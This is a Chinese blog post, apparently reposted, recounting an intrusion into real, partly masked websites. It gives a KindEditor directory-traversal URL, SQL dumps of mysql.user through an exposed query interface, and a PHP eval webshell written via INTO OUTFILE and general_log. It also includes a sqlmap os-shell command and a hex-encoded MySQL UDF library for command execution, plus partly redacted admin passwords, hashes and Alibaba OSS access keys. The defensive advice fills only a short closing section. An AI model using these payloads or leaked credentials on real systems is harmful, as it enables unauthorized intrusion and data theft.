大家好,欢迎来到IT知识分享网。
1.1对某网站的一次渗 透
1.1.1后台人弱口令登陆系统
1.登录CMS后台
由于前期已经对目标网站进行过摸排,获取了目标网站类似演示系统的测试账号admin/,因此直接在目标网站http://c*****.t*****.com/m.php进行登录,如图1所示,成功登录该CMS系统。该CMS网站带有一定的安全意识,修改了admin.php为m.php,虽然admin.php页面存在,但不发挥作用。
图1 登录CMS后台
2.对后台逐个功能进行分析和研究
登录后台后对系统设置、文件上传、数据备份、项目管理、订单管理、会员管理、计划任务、移动平台等进行查看,分析该系统是自主开发还是采用公开模板开发。通过对该系统分析发现该系统是独立开发,在互联网上未有公开源代码,无法对其进行源代码审计。
1.1.2漏洞初步挖掘
1.文件上传模块分析
(1)系统所有上传模块都采用同一个上传编辑器Kindeditor,经过实际测试,所有文件上传的漏洞及相关方法失效。
(2)文件上传模块采用Kindeditor编辑器,通过寻找图片或者文件上传的地方,如图2所示,选择“网络上的图片”,然后单击浏览即可对该CMS所在服务器上的上传文件夹进行查看。
图2测试上传模块
(3)Kindeditor编辑器文件浏览漏洞
Kindeditor编辑器file_manager_json.php的path参数存在过滤不严格漏洞,可以通过修改该参数来浏览磁盘文件,早期版本Kindeditor编辑器不需要带后续参数即可浏览目录,新版本对漏洞进行修复过,但仍然存在漏洞,只是需要加上“&order=NAME&21”类似值,这个值是系统自动生成的。可以通过BurpSuite抓包获取,如图3所示。在权限限制不严格的情况下,可以通过修改path参数值对磁盘文件进行查看,原始的值path中无“/”,在BurpSuite中的Repeater中修改其值后,单击“Go”提交,则可以在右边窗口获取文件列表等相关信息。
图3测试文件目录浏览漏洞
当然也可以在浏览器中访问以下地址来获取BurpSuite抓包提交一样的效果:
http://c*****.t*****.com/admin/public/kindeditor/php/file_manager_json.php?path=&order=NAME&21。通过BurpSuite再次对path参数进行修改,但由于权限问题,如图4所示,无法获取上级目录中的文件信息。
图4无法获取上级目录文件信息
关键知识点:kindeditor/php/file_manager_json.php?path=&order=NAME&21
2.数据库备份及还原
(1)可以对数据库进行备份。但不知道数据备份文件的位置及其文件名称。
(2)数据库查询。网站提供了直接对数据库查询接口,可以在其中输入语句来进行查询,http://c****.t*****.com/m.php?m=Database&a=sql&,通过执行MySQL相关命令来获取获取数据库中用户及密码等信息,例如执行select * from mysql.user,如图5所示,获取数据库用户及密码等有用信息,其中MySQL密码可以直接在cmd5.com等网站进行激活成功教程。
图5获取数据库用户等信息
3.其它功能模块测试
由于在实际系统上,因此不能进行有可能导致系统崩溃及出现问题的测试。在实际系统未备份时执行危险操作可能导致数据库等删除后无法恢复。
1.1.3对服务器进行信息收集
1.服务器IP地址信息收集
(1)直接ping 域名,获取IP地址为:1**.1**.3*.**4。
(2)网站https://www.yougetsignal.com/tools/web-sites-on-web-server/域名反查获取IP地址。
2.对服务器IP地址进行端口扫描
通过Nmap对该IP地址进行扫描,扫描结果显示该IP开放21、22、80及3306端口。
3.分别对21、22及80端口进行测试
(1)21端口为Ftp端口,该服务存在Ftp服务器。
(2)对80端口进行访问,也即直接IP地址访问,如图6所示,可以看出系统采用开源架构OneinStack安装Web服务器,在页面上可以查看本地环境信息,包括phpinfo、phpMyAdmin等信息。
图6获取Web服务器架构
(3)激活成功教程前面的MySQL密码并登录phpMyAdmin
在浏览器中打开http://1**.1**.3*.**4/phpMyAdmin/,输入前面获取的账号和密码root/w*****888,进行登录,如图7所示,成功获取该MySQL数据库Root权限。
图7获取数据库管理权限
(4)对数据库中各个库的表信息进行整理,获取真实物理地址信息如下:
/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0029.jpg
******ud.****s.cn/admin/public/robot/robot_0029.jpg
/data/wwwroot/www.s ******.com/admin/public/robot/robot_0026.jpg
/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0052.jpg
/data/wwwroot/ajg.t*****.com/admin/public/robot/robot_0596.jpg
(5)获取数据库对应网站地址
通过对数据库中的表分析,获取数据库对应的网站URL信息,其中***shop数据库对应网站a**.t*****.com,管理员密码admin/dd****09。
1.1.4尝试获取webshell
由于本次获取的MySQL数据库账号是root账号,按照过去的经验应该很好获取Webshell,但服务器环境为Linux,经过后续测试未能获取Webshell,下面将其中用过的一些方法进行总结和分析。
1.读取CMS系统文件内容
(1)在本地搭建环境测试读取文件内容
在本地进行测试,select load_file(‘C:/ComsenzEXP/wwwroot/demo/index.php’);如图8所示,成功读取index.php文件。
图8读取本地服务器文件
(2)对实际服务器进行测试。
由于目标服务器开通了3306端口,可以通过Navigate等MySQL客户端工具进行连接,打开后执行命令:
select load_file(‘/data/wwwroot/******ud.****s.cn/index.php’);
如图9所示,实际结果显示为NULL,无法读取文件内容。
图9对实际服务器读取文件内容测试
2.写入文件测试
(1)先在本地环境进行文件导出测试:
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘C:/ComsenzEXP/wwwroot/demo/eval.php’;如图10所示,执行成功,生成一句话后门,密码为“cmd”;
图10生成一句话后门
(2)实际服务器测试。根据前面的掌握的网站物理路径情况,执行命令:
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘/data/wwwroot/a**.t*****.com/admin/public/robot/eval.php’;由于Linux权限问题无法写入。
3.使用sqlmap直连MySQL方式方式来获取cmd_shell
执行MySQL直连获取cmd_shell命令,虽然执行成功,但无法执行命令。
sqlmap.py -d “mysql://sroot:w*****888@1**.1**.3*.**4:3306/mysql” –os_shell
4.执行MySQL获取Webshell的general_log方法
配置general_log方法是MySQL数据库禁止通过导出方式(secure-file-priv参数设置禁止导入导出)写入Webshell的情况下,通过设置日志文件,然后执行查询来获取Webshell的方法。
(1)查看genera变量
show variables like ‘%general%’;
(2)启用general_log变量
set global general_log = on;
(3)设置general_log记录文件为shell文件
set global general_log_file = ‘/data/wwwroot/www.*****.cn/abouts1.php’;
(4)如果执行成功这执行cmd一句话查询命令即可。
select ‘<?php eval($_POST[cmd]);?>’
执行后,由于权限问题,无法直接获取Webshell,如图11所示。
图11通过general_log方法获取webshell失败
6.linux下MySQL提权
show variables like ‘%plugin%’;
select * from func;
select unhex(‘7F454C00000000000000003003E000A000000000000000000000000000000040001C000000000000000000000000000000000000000000000000C0000C00000000000000C0000C0000C000000000000000000000000F0000F0000F00000000000000000000000000000000000000000000000000000050E0000000000000000000000000000000051E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A0000000000000C91CA000000000C0000001E000000000000001F00000000000000000000000000000CE2CC0BA673C7690EBD3EF0EB98DF10EDCA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB0EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CD000000000000000000000000000000000001E000000000000000000000000000000000000000000000000000000000000000000000000E000000000000000000000000000000000000B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F000000000000000000000000000000000000B0000000000000000000000000000000000005A0000000000000000000000000000000000000000000000000000000000000000000000004C00000000000000000000000000000000000E0B00D10D000000000000D000000B00A90F0000000000000A0000000000000000C0000000000000000000000000B009F0B0000000000004C00000000000000FF0000000000000000000000000F1FF00000000000000000000000B00130F0000000000002F000000000000008C0F1FF0000000000000000000009B00000012000B00480C0000000000000A0000000000000000B00420F00000000000000000AA00000012000B00520C000000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D000000000000000F1FF00000000000000000000000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F0000F0B00A20E0000000000000000000B004C0B00000000000000000D0B00A60D0000000000002B0000000000000000B00B30F00000000000000000005F5F676D6F6E5FF5F005F66696E69005F5FF66696E616C697A65005F4A765FC06C69625F6DCFF696E666F5F696ED656DC69625F6DCFF696E666F5FEC69625F6DCFF696E666F00FF696E35FFE35FEC656E00FF696ED616C6C6FFFE5FEFF696E35FFE35FD00FC5F696E35FC5FE35FC00706F70656E00C6C6FE636C6FCE736F2E36005F05F5FF05F656ECF322E322E00000000000000000000000F00000000000751A000000F000000000F00000000000000000000000000000000000000000000000000000000000000A0000000000000000000000A0000000000000000000000000B0000000000000000000000000B0000000000000000000000000C0000000000000000000000000C0000000000000000000000000D0000000000000000000000000D00000A0000000000000000000000E00000B0000000000000000000000E00000C0000000000000000000000F00000D0000000000000000000000F00000E0000000000000000000000000000F0000000000000000000000000000000000000000000000004883EC08E8EF000000E88A010000E83C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C000E9E0FFFFFFFF25EA0C000E9D0FFFFFFFF25E20C000E9C0FFFFFFFF25DA0C000E9B0FFFFFFFF25D20C000E9A0FFFFFFFF25CA0C000E990FFFFFFFF25C20C000E980FFFFFFFF25BA0C000E970FFFFFFFF25B20C000E960FFFFFFFF25AA0C000E950FFFFFFFF25A20CA000000E940FFFFFFFF259A0CB000000E930FFFFFFFF25920CC000000E920FFFFFF4883EC08488B05ED0BC07402FFD04883C408C03D680CE48833DD00BC488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040AB053D0C20004C29E348C1FB034883EB014839DF1FC00D0CFF14C4488B05120CD872E5C605FE0BB415CC9C3660F1F048833DC0089E5741A488B054B0BC0740E488D3DAC9FFE00F1F4000C9CE54883ECDEE0D8488B45E08B0085C0D0DEB45D8BA9CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9CEDF8C9CE54883ECDFF0EDE04C8945D84C894DD0488D0DCA0B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9CE54883ECDFF0E8488B45F08B0083FC488B45F0488B40088B0085C0750E488B45F8C60001BEB20488D0DB45E8BA2B0000004889CE4889C7E8DFFDFFFFBC9CEDF8C9CE54883ECDEE0DDD04C8945C84C894DC0488B45E0488BB004889C7E8BBFDFFFFFDFB45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0B45F8C9CE54883ECDFF0E8488B45F08B0083FD0D0B45E8BA1F0000004889CE4889C7E831FDFFFFBE9AB000000488B45F0488B40088B0085C0D0DFB45E8BA9CE4889C7E8FEFCFFFFBEB7B488B45F0488BC004C488B45F0488BB10488B45F0488BC008488B00488D0C0024889C7E84BFCFFFF4889C2488B45F8B45F8488BC0D0DAB45E8BA1A0000004889CE4889C7E888FCFFFFBEB05BC9CE54883ECDF8488B45F8488BC0B45F8488BC7E811FCFFFFC9CE54883ECDEE0DDD0488B45E8488BF0488B45E0488BB004883C00F0F8488B45E0488BB10488B45E0488BB08488B45F04889CE4889C7E8EFFBFFFF488B45E0488BB00F0CB45E0488BC008488B10488B45E0488BC008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488BC008488B00F8CB4DF8488B45F0BA0CE4889C7E892FBFFFF4898C9CE54883ECDEE0D8C745FC00000000488B45E08B0083FF488B45E0488B40088B55FC48C1ED08B0085C07507BEB20488D0DCB45D8BA2B0000004889CE4889C7E81EFBFFFFBC9CEDF8C9CE54883ECDFF0EDE0488B45F0488BB004889C7E882FAFFFF4898C9CE54883ECDEE0D8C745FC00000000488B45E08B0083FF488B45E0488B40088B55FC48C1ED08B0085C07507BEB20488D0DB45D8BA2B0000004889CE4889C7E87EFAFFFFBC9CEDF8C9CE54881EC9BDD8FBFFFF4889B5D0FBFFFFC8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF0E8BEF9FFFFC8FBFFFF48C745F000000000488B85D0FBFFFF488BB00488D352C0C7E852FAFFFFE8EB63488D85E0FBFFFF4889C7E8BDF9FFFFF8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFFC8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45FF0488B55E8488D85E0FBFFFFBE000C7E831F9FFFF4885C0B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402CB85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFFB85C8FBFFFFC9C9EEC08488B05AF8FFD1D9B0F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9CEC08E84FF9FFFF4883C408CE6FD656EC6C6FA206C69625F6DCFF696E666F000006C69625F6DCFF6E20302E302E00C79206F6E96E6D000000000CFD656E96EF72206E616D16D36F756C64206E6FC6C6FD656D6F11B033BF00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0EFAFFFF3C0FAFFFF5C0FBFFFF7C0DFBFFFF9C0EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C0FDFFFF3C0FFDFFFF5C00000000000017A11B0C01C0000001C00000064F8FFFF10ED0C0C0000003C0000008DF8FFFF0A00000000410ED06450C0C0000005C00000077F8FFFF4C00000000410ED0C0C0000007C000000A3F8FFFF5D00000000410ED0C0C0000009C000000E0F8FFFF0A00000000410ED06450C0C000000BC000000CAF8FFFF10ED06025E0C0C000000DC0000000DF9FFFFF0ED0602EC0C0C000000FC000000DEF9FFFF2B00000000410ED06660C0C0000001C010000E9F9FFFFD0ED0602CC0C0C0000003C0AFAFFFF10ED0C0C0000005C010000E1FAFFFF0A00000000410ED06450C0C0000007C010000CBFAFFFF2F00000000410ED066A0C0C0000009C010000DAFAFFFF10ED0C0C000000BC0FBFFFF0A00000000410ED06450C0C000000DC0BFBFFFF10ED0C00000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F0000000006F0000C00000000000000000000D0000000000000000000F5FEFF6F00000000B000000000E000000000000000A000000000000009D0000B0000000000000000000000000000000000000000000000000000000000000000F000000000000000000000000FEFFFF6F00000000D0000FFFFFF6F0000000000000F0FFFF6F0000000000000F9FFFF6F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F000000000000000000000000000000000000B0000C0000D0000E0000F0000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A000000000000AEE342EE342E372D33AEE342EE342E372DE73796DE2002EE6E6F74652E676E752EC642DE676E752EE64796E73796D002E64796EE676E752EF6E002E676E752EF6E5F72002E72656C612E64796E002E72656C612E706C74002E696EEE66696E69002E726FE65685FD655FE65685FD65002E63746FE64746FE6AEE72656C2E726F002E64796E616DE676F74002E676F742E706C74002EE636F6D6D656E00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B000000000000000000000000000000000000000000000000000000000000000000000002E000000F6FFFF6F00000B0000B0000B000000000000000000000000000000B000000000000000000000000000000000000000000000000000E0000E00009D0000000000000000000000000000000000000000FFFFFF6F0000000000000004A00000000000000000000000000000FEFFFF6F00000D0000D000000000000000000000000000000000000000000000F0000F0000000000000000000000006E00000000000000000000000000000000000A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0000A0000E000000000000000000000000000000000000000007E0000000000000000000800A000000000000800A000000000000C00000000000000000000000000000000000000000000000000000000000000E0000000000000000000000000000000000000000000000000008A00000000000000000000000000000EC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A00000000000000000000C0000C0000FC0000000000000000000000000000000000000000AA0000000000000000000C0000C0000000000000000000000000000000000000000000000B000000000D0000D0000000000000000000000000000000000000000000000B000000000E0000E0000000000000000000000000000000000000000000000BD0000000000000000000F0000F0000000000000000000000000000000000000000000000CA0000000000000000000F0000F000000000000000000000000D00000000000000000000000000000000000000000000000000D00000000000000000000000000000000000000000000000000E0000000000000000000000000000000000000000000000000000000000000E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000EF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000581F000000000000000001B0000002C00000000000000000000000000000000000000000000000000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000000000000000000000000000000000000000000000000000000000000000E000000000000000000000000000000000000000000000000000000000000000000D00000000000000000000000000000F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000A00A000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C000000000000000000000000000000003000D000000000000000000000000000000003000E000000000000000000000000000000003000F00C00000000000000000000000000000C00000000000000000000000000000D00000000000000000000000000000E00000000000000000000000000000F00000000000000000000000000000F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B00800A00000000000000000000000000000F1FF000000000000000000000000000000001C0000000C000000000000000000002A0000000D0000000000000000000001200E0000000000000000000000B00A00A00000000000000000000000000005B00000000000006A000000000000000B00200B00000000000000000000000000000F1FF0000000000000000000000000000000001000D0000000000000000000000F00C000000000000000000009F0000000E00000000000000000000AB00000002000B00000000000000000000000CF1FF00000000000000000000000000000000DF1FF000000000000000000000EA0000000F00000000000000000000F1100E000000000000000000000F1FFF000000000000000000000D0B00D10D000000000000D000000B00130F0000000000002F000000000000001E000000000000000000000000000000000002D0000000000000000000000000000000000000C0000000000000000000000000B00A90F0000000000000A0000000000000000000000000000000000000000000000000006B000000000000000000000000000000000007F0B00A20E000000000000000008D0B00B30F000000000000000000000000000000000000000000000000000000A0B00950B0000000000000A00000000000000C0B00B50C000000000000F0000D000000000000000000000000000000000000E000000000000000000000000000000000000F0000000000000000000000000000000000000D0B004C0B00000000000000000000000000000000000000000000000000000000B00A60D0000000000002B0000000000000000B00EB0B0000000000005D0000000000000000B00480C0000000000000A000000000000006F0000000000000000000000000000000000000B00420F000000000000000000000000000000000000000000000000000000A000000000000000000000000000000000000B0B00520C00000000000000000CF1FF000000000000000000000CD0B009F0B0000000000004C00000000000000EF1FF000000000000000000000E000000000000000000000000000000000000FD0B00090F0000000000000A000000000000000D000000000000000000000000000000000000F1FF00000000000000000000000000000000000000000000000000000000003C0000000000000000000000000063616C6C5F676D6F6E5F0E63005F5F43544F525F4CF5F005F5F44544F525F4CF5F005F5F4A43525F4CF5F005F5F646F5F676C6F62616C5F64746F72735FF6D706CE4746F725FED655F64756D6D79005F5F43544F525F454E445F5F005F5FD455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735FC69625F6DCFE63005F474C4F42414C5F4FFC455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D35F9735FF5F676D6F6E5FF5F005F4A765FC05F66696EFC5FED616C6C6FCF322E322E4656DCF322E322EFF696E35FC00040474CF322E322E35006C69625F6DCFF696E666F5FE35FF696ECF322E322EC656ECF322E322EC6FCF322E322E35006C69625F6DCFF696E666F5F696EF5FF66696E616C697ACF322E322EFFE35FF696E35FFED656D74CF322E322EFC5F696E4656ECF322E322E56ECF322E322EFF5FF06C69625F6DCFF696E666F005F656EE74CF322E322EFFE16C6C6FCF322E322E35005F0706F70656ECF322E322E35005F696E’) into dumpfile ‘/usr/lib64/mysql/plugin/mysqludf.so’;
create function sys_eval returns string soname ‘mysqludf.so’;
select sys_eval(‘whoami’);
select * from func;
上面的方法等同于sqlmap直连数据进行提权,由于无法导入数据因此也无法提权。
1.1.5对另外一个同类目标的渗透
1.子域名信息收集
通过subDomainsBrute(https://github.com/lijiejie/subDomainsBrute)在kali中搜索目标*****.cn的子域名信息:
./subDomainsBrute.py *****.cn
经过测试,获取job.*****.cn、image.*****.cn、api.*****.cn后无其他子域名信息
2.主站渗透
(1)出错信息获取真实物理地址
/data/wwwroot/www.*****.cn/ThinkPHP/Library/Think/Dispatcher.class.php
(2)www.*****.cn后台弱口令
主站CMS存在admin/admin弱口令,系统采用ThinkPHP架构开发,版本为3.2.3,虽然进入了后,也无法获取Webshell
3.目标站点渗透
对目标站点通过******ud.****s.cn/m.php 后台管理进行登录,代理弱口令登录后台后,通过越权漏洞,成功获取数据库密码。
(1)管理员帐号及密码
admin cad03302b4eb159e66 61.156.121.192 w*****12
cadmin 2b2df28f20de4189ea1c4493f3e5e5bf 39.83.43.146 q*****14
(2)数据库用户及密码
http://******ud.****s.cn/m.php?m=Database&a=sql&
select host,user,password from mysql.user ,如图12所示,成功获取该服务器密码。
图12获取数据库密码
(3)通过客户端工具成功连接数据库
通过客户端连接工具直接连接数据库,如图13所示,可以对数据库进行管理操作。
图13连接MySQL数据库进行管理
1.1.6oss服务器渗透
1.oss管理客户端下载地址
(1)32位:http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-ia32.zip?spm=a2c4g..2.8.5cekAZYC&file=oss-browser-win32-ia32.zip
(2)64位:http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-x64.zip?spm=a2c4g..2.9.5ccSK0r0&file=oss-browser-win32-x64.zip
(3)mac:http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-darwin-x64.zip?spm=a2c4g..2.10.5cekAZYC&file=oss-browser-darwin-x64.zip
(4)linux 64:http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-linux-x64.zip?spm=a2c4g..2.11.5cekAZYC&file=oss-browser-linux-x64.zip
2.通过数据库中获取了KeyID和keySecret信息
在数据库中发现配置有连个OSS帐号相关信息:
(1)OSS帐号1详细信息
{“keyId”:”LTAI*****9O3cMjZ”,”keySecret”:”INBUN3sOb*****9Nq2m5K4FtNEd”,”endpoint”:”oss-cn-beijing.aliyuncs.com”,”bucket”:”v*****9″,”id”:”1″}
(2)OSS帐号2详细信息
{“keyId”:”LTA*****929oTEL”,”keySecret”:”RA5hx*****9qkrf9UUmI63ZNDuu”,”id”:”6″}
3.通过OSS客户端进行连接并查看文件
(1)登录OSS客户端。将前面对应操作系统的OSS客户端下载到本地,阿里云官方版本为1.7.4最新版本为1.8.1,运行oss-browser程序后,输入AccesskeyId和AccessKeySecret进行登录,如图14所示。
图14使用OSS客户端进行登录
(2)查看其OSS文件存储文件
如图15所示,登录起OSS文件存储服务器后,该服务器主要存储图片文件,目标服务器CMS所有图片及对应文件均上传到OSS服务器上,选中对应的文件夹后可以将其下载到本地。
图15图片存储信息
1.1.7防御及总结
1.多种技术交叉配合使用,技术难度不高
(1)在本案例中使用弱口令测试
(2)MySQL服务器文件读取
(3)MySQL数据库文件导出
(4)MySQL数据库多个Webshell获取方法测试
(5)OSS帐号及登录OSS服务器查看
(6)Kindeditor文件编辑器漏洞利用
2.通过分析服务器上数据库,获取该CMS早期版本,通过分析其文件发下数据库文件备份后可以被下载。
(1)数据库备份时会自动生成一个记录,该记录即为数据备份文件夹名称,例如为文件名称,则详细的下载地址为:
http://localhost//demo/public/db_backup//_1.sql
http://localhost//demo/public/db_backup//_9.sql
(2)即使无Root权限,也可以获取数据库文件,将数据进行备份,然后下载即可,如图16所示,按照命名规则进行下载即可。
图16下载数据库文件
3.防御方法
(1)在本文中,Linux服务器已经进行严格的权限设置
(2)MySQL数据库账号权限不宜为Root权限,一个数据库用户对应一个数据库,最少授权。
(3)CMS中不要留有SQL查询公开接口,该接口会成为突破的缺口。
(4)后台结合手机验证码进行登录验证,即时弱口令也无法登录。
原文地址:http://blog.51cto.com/simeon/
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/49890.html